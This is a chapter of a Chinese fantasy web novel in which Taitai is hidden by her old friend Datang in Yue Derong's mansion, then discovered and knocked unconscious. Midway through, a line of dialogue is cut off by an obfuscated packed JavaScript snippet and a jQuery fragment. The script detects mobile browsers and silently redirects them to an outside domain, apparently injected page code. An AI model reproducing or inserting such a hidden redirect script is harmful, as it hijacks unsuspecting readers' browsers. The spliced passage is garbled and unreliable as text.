大汤完全没预料到能在神地遇到苔苔,故人相逢,他眼中闪过一丝惊讶随后马上心中一喜。
“启禀将军,此女在门口鬼鬼祟祟大呼小叫,我等正要将她关押下来仔细审问。”
苔苔能预想到事情会变得复杂,可没预料到在这儿都能碰到老熟人?
神学院和孔雀地的往事桩桩件件浮现。
从前的大汤刚正不阿,那现在的他有了新的官职,还会包庇自己吗?
“你是谁?站在外头做什么?”大汤板着脸,神情严肃,仿佛不认识她似的。
“将军,和她废话做什么?她额头没有神纹,想来又是籍籍无名之辈,我们尽管按照月大人的指示,随意处置。”其中一位侍从手持尖刀对苔苔不屑一顾道。
月大人?难道这里竟是月德容的府邸。
另一位侍从眼神色眯眯的,向大汤谄媚道:“不过将军,此女虽打扮奇怪,却颇有姿色,大人若是喜欢……”
苔苔愤懑地瞪了他一眼,真想狠狠甩他一掌。
大汤把苔苔的情绪尽收眼底,又见苔苔的手臂上缠绕着赤霞红莲,心计上来。
“你们还真是有眼不识泰山,难道你们忘了,前几天来的那群人,几乎把兮和小姐的补药吃个精光,这位大人想必是受月德容大人邀请,亲自来为兮和小姐送药材的,兮和小姐头痛病发作,月大人着急得不行,若不是遇上我,耽误了治病,你们的罪名可就大了。”
大汤指了指赤霞红莲,“这一定是大人的药材吧!”
大汤暗暗朝苔苔使了一个眼色。
苔苔心领神会,“正是,在下应邀,从孔雀地前来送药。”
侍从僵在原地,连忙给苔苔拍拍肩膀上的灰尘,挤眉弄眼地恭敬道:“请恕在下鲁莽,您来自孔雀地,定是班大人的好意了。”
“你们先退下吧!府内森严,我亲自送她去仓库。”大汤三言两语打发走了二人。
有了大汤的帮助,走在月德容的私宅,周围形形色色的人无一上来盘问,苔苔跟在他身后畅通无阻。
穿过一条长走廊后,府邸都清静了许多,连树叶间的摩擦声都听得一清二楚。
“苔苔,你来月德容的府邸做什么?”大汤放下手中的长矛,松了松衣领,“等下我会从后门送你出去,我劝你少动脑筋,月德容和双御不一样,她精明,手段又残忍,不是你可以随便糊弄过去的。”
大汤伸出手,对着苔苔的额头仿佛要触摸什么似的,“何况,你还没有成神。”
苔苔巧妙地避开了,“我来这里是为了找人,这和我有没有成神可没关系,倒是你当初一走了之,神学院的众人,都很想你,晴勉老师也时常念叨你。”
“那你呢,你有没有想我。”大汤打趣道,平日孤僻高傲的他对着这个曾经的救命恩人,难得不设心防,“我走是因为意识到,孔雀地没有我的立足之地,我需要更高更广的天空,才能保护好自己,保护好身边的人。”
“那你和月德容又是什么关系?”
大汤轻笑,“我和她?这就不得不感慨人生的际遇真是变化无常,我离开孔雀地后,本想在神地寻一位良师,碰巧碰到了月兮和,当时她偷偷溜出来,恰逢头痛病发作,孤立无援,我帮了她一把,这才有了后面的故事。”
苔苔也感慨不已,“不管怎么样,你已成神,孔雀地的大家都会为你感到高兴,既然你在此地颇有威严,我还想向你打听一些事情。”
“你是为了那六百个织织吧!”
“她们果真在这里?那她们现在还好吗?”
大汤点点头,“她们过得比你想象中要好些,前几日月德容在神地的边境发现了他们,现在牢里乌泱泱一大片全是这些织织,她们叽叽喳喳日夜吵闹,大家都头痛不已。”
苔苔百思不得其解,“抓她们做什么?月光织织一族心思单纯,不与人结怨,孤居秘境百年之久,月德容为什么要抓他们,难道是为了月隐华纱?”
大汤摇摇头,留意到苔苔口唇干裂,又替她倒了一杯水,“不像是为了华纱,按我对她的理解,似乎是为了找出织织中的故人,你也清楚,现在织织们应体力不支,都化成了原形,难以辨认,所以才都关了起来。”
故人?苔苔垂下眼眸,整理一番思绪,她将织织的故事和月德容联系在一起,难道当年的那个上位者是月德容?
不,不可能,月德容生了女儿月兮和,又极度宠溺,压根不会为了织织的随口而出的卦象积怨百年之久。
不妨把月德容看得更坏一些,若月德容就是那个破坏了织织占卜工具的人,那上位者又会是谁?
苔苔心绪犹如乱麻,但她现在没心思想那么多,眼下还是救出织织们要紧。
“那个织织叫什么名字?”
苔苔急切问道。
“好像叫稳菟丝!”
原来如此!
月光织织们在山涧地唱的歌,还有稚英从前说过的稳婆婆……
没想到自己从秘境中带出来的织织,就是月德容要找的织织稳菟丝,可月德容这么大费周章的找她,甚至秉着宁可错杀一千,也不能放过一个的原则,真的只是因为稳菟丝的占卜吗?
恐怕没有那么简单!
随着推测的深入,一阵凉意涌上后背,苔苔惊觉自己被卷入了一个策划已久的阴谋之中。
她望着眼前的大汤,多了几丝期许,“大汤,你现在已经是将军,月德容一定很信赖你吧!那她有没有说过,为什么非找稳菟丝不可?”
大汤沉默,皱眉许久,“你要是昨天来问我,我确实不知道,可你偏偏是今天来问。”
“今天,我恰好听到了月德容母女的对话。内容不算明朗,只知道月德容抓稳菟丝是为了通过她,找到另一个人。”
另一个人?
是谁?
话已经到了嘴边,苔苔刚要问出口,陌生的声音在门口响起。
“将军,您在里面吗,月大人请您过去一趟!”
大汤示意苔苔莫要出声。
“知道了,还请她稍等片刻。”
“那您得加把紧,月大人那边催得急。哎呦,月大人,您亲自来了。”
侍从的话着实把苔苔吓了一跳,这个时候不应该与月德容见面,更不能暴露了大汤。
苔苔首先想的就是藏起来,可是大汤素来简洁,房间四周空空荡荡,只有一个衣橱还能藏人。
在大汤的帮助下,苔苔手忙脚乱的跳进了衣橱,关上衣橱门的一瞬间,月德容不客气地推门而入。
大汤抓起床上凌乱的衣物,从外面看来,好似正要更衣。
“大汤,怎么大白天的关着门?”月德容警惕地环顾四周,发现衣橱门上还夹着半截袖子。
难道真是在更换衣物吗?
“方才带队做横渡训练,在下的衣服夹杂了一些泥沙。”大汤毕恭毕敬作揖,虔诚道:“不知月大人大驾光临,让您久等了,还请月大人恕罪。”
月德容见大汤态度谦卑,很是受用,“起来吧,也没什么事,我听侍从说,今天从孔雀地又来了几个药商,想着派你去接洽,孔雀地钟灵毓秀,神药大多出于此地,兮和需要长期服药,我们得和孔雀地保持稳定的联系才行。”
“月大人请放心,药商供的货大部分已经安置在仓库,只有一小部分还在路上,在下已经派人相迎,快马加鞭送到府邸。”
月德容满意地点点头,大汤办事得力,又有责任心,自己当初不过小小点拨了几句,竟也意外地让他从孔雀小仙捱成神了。
多一个死心塌地为她办事的人,也没什么不好的,月德容向来不介意施舍一些小恩小惠,只是旁人往往不知,她这样的人,拿了她一杯水,就得还回一片湖。
利益至上罢了。
月德容笑得狡诈,又仔细看了那半截袖子,原本以为大汤一直过着清心寡欲的生活,没想到……
“大汤,年轻人火气重我也能理解,可是你怎么能把人带回府邸呢?”月德容指了指一旁的衣柜,“这样鲜嫩的颜色,从来不是你的选择。”
“在下不明白,还请月大人直言。”大汤显然也意识到月德容看出了端倪,不过他还是死扛着不承认。
衣柜空间狭小,耳边回荡着的只有轻微的呼吸声,随着脚步声的靠近,苔苔的心都提到了嗓子眼。
果不其然,月德容向衣柜走来,一场战事无处可避,苔苔咬紧牙关,紧紧抓住了手臂上的鞭子。
来吧!是福不是祸,是祸躲不过。
苔苔神情紧绷,微微转动手脚,身子向前弓起,防御性十足。
“算了,这说起来也是你的私事。”月德容摆摆手,掉头离开了衣柜附近,“你先将药材的事处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464516|169800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
置妥当。”
喧哗声远去,想来月德容带着众人离开了。
苔苔这才把心放回肚子里,她探头探脑地伸出手推开门,轻手轻脚地打开柜子,从柜子里出来。
“啊!她走了吗?”
“没有。”
大汤摇摇头,苔苔见他面如死灰,神色懊恼。
月德容猛地出现在柜门之后,似笑非笑地盯着苔苔,眼神复杂:“我就知道是你,我是该叫你瑶光还是苔苔?”
苔苔并不言语,月德容没得到想要的回应心有不甘,在她心里苔苔此时应该是挫败、悔恨并且羞耻的,而不是像现在这样,仰首挺胸、坦坦荡荡。
月德容锐利的眼睛上下打量着苔苔,“班穹父女真是废物,竟让你活到现在,不过你也怪可怜的,额头至今还没有神纹,不管怎么样,在神地没有神纹就得不到别人的认可。”
苔苔对月德容的挑衅心知肚明,她才不会愚笨到坠入月德容的语言陷阱,“月大人既然知道我在这里,怎么不直接打开柜门呢!”
月德容一愣,“兵不厌诈,等你放松警惕再拿捏你,岂不是更痛快。”
苔苔并不认可,反而当着月德容的面抽出了鞭子,反驳道:“你是在害怕我,你清楚我的实力,怕一打开门,我给你当头一棒。”
“你……”
月德容被说中的心事,气得牙痒痒,没错,她确实有这方面的顾虑但被苔苔这么堂而皇之的说出来,她面子上挂不住,只能恶狠狠地瞪着苔苔,往常的端庄和优雅已经全然消失。
大汤不知道月德容和苔苔之间的过往,可两人之间剑拔弩张,似乎有着深仇大恨。
在神地月德容身处尊位,这里还是月德容的府邸,若任由事情发展,即便是他拼尽全力,也难以维护苔苔周全。
月德容手心凝起一股神力,恼羞成怒地指向苔苔,似乎下一秒就要将苔苔挫骨扬灰。
“月大人请息怒,苔苔并不是故意冲撞。”大汤觉得在事情失控之前,自己也该做点什么。
“说来也奇怪,你我无非是在孔雀地的成神大会上有过一面之缘,你却帮着班穹父女出谋划策,妄图置我于死地,你有这么恨我吗?”
苔苔仿佛想通了什么似的,笑得一脸轻松,“我猜,成神之前,那个鬼鬼祟祟躲在暗处盯着我和稚英的人,就是你女儿月兮和吧!”
“你休要污蔑。”
“稚英不喜欢你女儿却喜欢我,这对于高傲的你来说,不亚于奇耻大辱,明的比不过,就在暗地里做手脚,撺掇禧平在成神大会上搞事情,让我失去神纹的,不就是你嘛!尊贵的月德容大人。”
月德容眯起眼睛,紧绷着脸,“即便你都知道了又能怎么样,你是很有实力,但天下有实力的多的是,可惜……”
她如鬼魅般笑着靠近苔苔,伸出两根手指夹住苔苔耳朵上的浩天大锁,狠狠一扯,“你被禁锢了!还不跪下!”
苔苔吃痛,往后退了一步,刚要还以颜色,后颈却传来剧痛,随后体力不支倒向一边。
大汤眼疾手快地扶稳苔苔,让她不至于重重摔在地上。
逆着光,月兮和的脸忽明忽暗。
“你打晕她做什么?”月德容不理解女儿的意图。
“她横插在我和稚哥哥之间,就是因为她稚哥哥才不肯搭理我,我一定要让她颜面扫地,让所有人都知道,她就是一个不值得所有人喜欢的□□。”
“□□?兮和小姐,苔苔绝不是那种人。”大汤严肃地反驳。
月兮和紧紧盯着大汤的手,那双手正扶着苔苔,难道大汤也喜欢苔苔吗?
她心中的恨意越来越深,凭什么?所有男的都要围着苔苔转吗?
“我知道你和她早就认识,念在你曾经救过我的份上,你现在就和她一刀两断,以后就安心留在府邸做你的将军,否则就是和她一个下场。”
月兮和摇头晃脑,完全失控了,她的声音高昂得像尖叫,此时她深受头痛症困扰,紧紧按着太阳穴,才能有所缓解。
大汤内心一阵苦涩,不论是在孔雀地还是神地,似乎哪里都有娇纵无常,不顾别人感受的人。
他知道若是想在神地有些长进,千万不能和月德容母女为敌,可是到了这个时候他偏偏反骨发作,他真的受够这些喜怒无常的人了,“若是我不依,兮和小姐打算怎么处置我?”